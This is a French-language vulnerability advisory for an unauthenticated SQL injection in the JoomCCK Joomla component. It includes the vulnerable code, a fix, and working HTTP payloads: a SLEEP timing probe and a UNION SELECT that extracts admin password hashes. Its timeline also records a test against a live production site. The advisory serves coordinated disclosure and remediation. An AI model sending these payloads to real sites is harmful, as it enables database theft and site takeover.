
CVE-2026-49048 — JoomCCK 6.4.0 Injection SQL non authentifiée (CVSS 9.8)
CVE : CVE-2026-49048
Statut : Divulgation publique. Signalé à la Joomla Security Strike Team (JSST) — Ticket #282420.
| Champ | Valeur |
|---|---|
| ID de l'avis | JOOMCCK-2026-001 |
| CVE | CVE-2026-49048 |
| Produit | JoomCCK (com_joomcck) — Content Construction Kit pour Joomla |
| Éditeur | JoomCoder — https://www.joomcoder.com |
| Versions affectées | 6.4.0 (dernière version au moment de la découverte ; les versions 6.x antérieures présumées affectées) |
| Version corrigée | Aucune au moment de la rédaction |
| Type | Injection SQL (CWE-89) via autorisation manquante (CWE-862) |
| Authentification requise | Aucune — non authentifiée, pré-authentification |
| Gravité | Critique — Score de base CVSS 3.1 de 9.8 |
| Vecteur CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Découvert par | Kamil Soltanov |
| Contact | [email protected] |
| Date de découverte | 2026-06-22 |
Le composant Joomla 4/5/6 JoomCCK expose une tâche de contrôleur côté front-end (task=tags.save) qui concatène le paramètre tag fourni par l'utilisateur directement dans la requête SQL sans échappement ni paramétrage. Le répartiteur MVC personnalisé du composant n'effectue aucune vérification de jeton CSRF ni aucun contrôle d'accès, rendant l'injection accessible à un attaquant distant complètement non authentifié.
Une exploitation réussie permet un accès complet en lecture à la base de données Joomla — y compris les hachages de mots de passe de #__users — via une injection SQL en aveugle de type UNION et temporelle, menant à une compromission totale du site.
libraries/mint/mvc/controller/base.php — MControllerBase::execute() :
public function execute($task)
{
$this->task = $task;
$task = !is_null($task) ? strtolower($task) : '';
$doTask = $this->taskMap[$task];
...
return $this->$doTask(); // Invoked with no checkToken(), no authorise()
}
La méthode authorise() de la même classe est une no-op qui renvoie inconditionnellement true.
Le point d'entrée components/com_joomcck/joomcck.php appelle execute(input->get('task')) sans aucune authentification, jeton ou contrôle ACL → chaque méthode publique de contrôleur est une tâche non authentifiée.
tags.save (CWE-89)components/com_joomcck/models/tags.php — _saveTag() :
$tag = $app->input->getString('tag'); // Joomla 'STRING' filter: strips HTML but NOT SQL quotes
$query = ' SELECT a.* FROM #__js_res_tags AS a WHERE a.tag = "' . $tag . '"'; // INJECTABLE
$exist_item = $this->_getList($query);
// Later:
$query = 'UPDATE #__js_res_tags SET tag = "' . $tag . '" WHERE id =' . $id; // INJECTABLE
Le filtre d'entrée STRING de Joomla supprime les balises HTML mais laisse passer " inchangé — le même caractère utilisé comme délimiteur de chaîne SQL ici. Sortir du littéral entre guillemets injecte du SQL arbitraire.
GET /index.php?option=com_joomcck&task=tags.save&id=1&tag=x%22%20OR%20SLEEP(5)--%20- HTTP/1.1
Host: target.example.com
Attendu : réponse retardée ≥ 5 secondes (par ligne correspondante).
GET /index.php?option=com_joomcck&task=tags.save&id=1&tag=x%22%20UNION%20SELECT%20id,username,password%20FROM%20%23__users--%20- HTTP/1.1
Host: target.example.com
Le code PoC complet et la transcription des preuves capturées se trouvent dans poc/.
Résultats clés du laboratoire :
Charge utile (tag=) | Résultat |
|---|---|
cars (bénin) | 1 ligne renvoyée — normal |
zzz" OR "1"="1 | " non échappé → toutes les lignes renvoyées (injection confirmée) |
zzz" UNION SELECT id,username,password FROM jos_users-- - | Hachage du mot de passe administrateur exfiltré |
zzz" OR SLEEP(3)-- - | Réponse retardée de 9,0 s (3 lignes × 3 s) |
Le banc d'essai du laboratoire utilise le véritable
Joomla\Input\Input::getString()et la requête_saveTag()verbatim contre une instance MariaDB 11.8 en fonctionnement.
Un attaquant distant non authentifié peut :
#__js_res_tags via l'UPDATE injectabletask=tags.delete et task=records.copy (également non authentifiés — même faille du répartiteur)La même faille du répartiteur expose des tâches supplémentaires non authentifiées :
| Tâche | Effet |
|---|---|
tags.delete | Supprimer n'importe quel tag sans authentification |
records.copy | Dupliquer n'importe quel enregistrement sans authentification |
ajax.category_records | Énumérer les enregistrements par catégorie |
ajax.tags_list | Lister tous les tags |
ajax.users_filter | Énumérer les noms d'utilisateur |
ajax.loadfieldparams | Divulguer la configuration des champs |
Remarque : de nombreuses tâches records.* appliquent bien l'ACL en interne via _checkAccess() et ne sont pas affectées.
1. Paramétrer toutes les requêtes (constructeur de requêtes Joomla) :
$db = $this->getDatabase();
$tag = $app->input->getString('tag');
// SELECT
$query = $db->getQuery(true)
->select('a.*')
->from($db->quoteName('#__js_res_tags', 'a'))
->where($db->quoteName('a.tag') . ' = ' . $db->quote($tag));
// UPDATE
$upd = $db->getQuery(true)
->update($db->quoteName('#__js_res_tags'))
->set($db->quoteName('tag') . ' = ' . $db->quote($tag))
->where($db->quoteName('id') . ' = ' . (int) $id);
2. Imposer l'autorisation dans le dispatcher — ajouter Session::checkToken() et une vérification ACL (Factory::getApplication()->getIdentity()->authorise(...)) avant toutes les tâches modifiant l'état, en reproduisant les protections déjà présentes sur files.upload.
| Date | Événement |
|---|---|
| 2026-06-22 | Vulnérabilité découverte et vérifiée via un PoC en laboratoire local |
| 2026-06-22 | Avis préparé ; signalé au Joomla Security Strike Team (JSST) et au VEL |
| 2026-06-23 | Accusé de réception du JSST — David Jardin, Ticket #282420. Coordination avec l'éditeur (JoomCoder) via le JSST |
| 2026-06-25 | Confirmation en conditions réelles sur un site Joomla de production : SLEEP(5) → réponse en 115 s ; erreur MySQL 1222 sur UNION (non destructif, aucune donnée exfiltrée) |
| À déterminer | Correctif de l'éditeur |
| À déterminer | Attribution du CVE |
| À déterminer | Divulgation publique (fenêtre coordonnée de 90 jours) |
Chercheur en sécurité indépendant.
Contact : [email protected]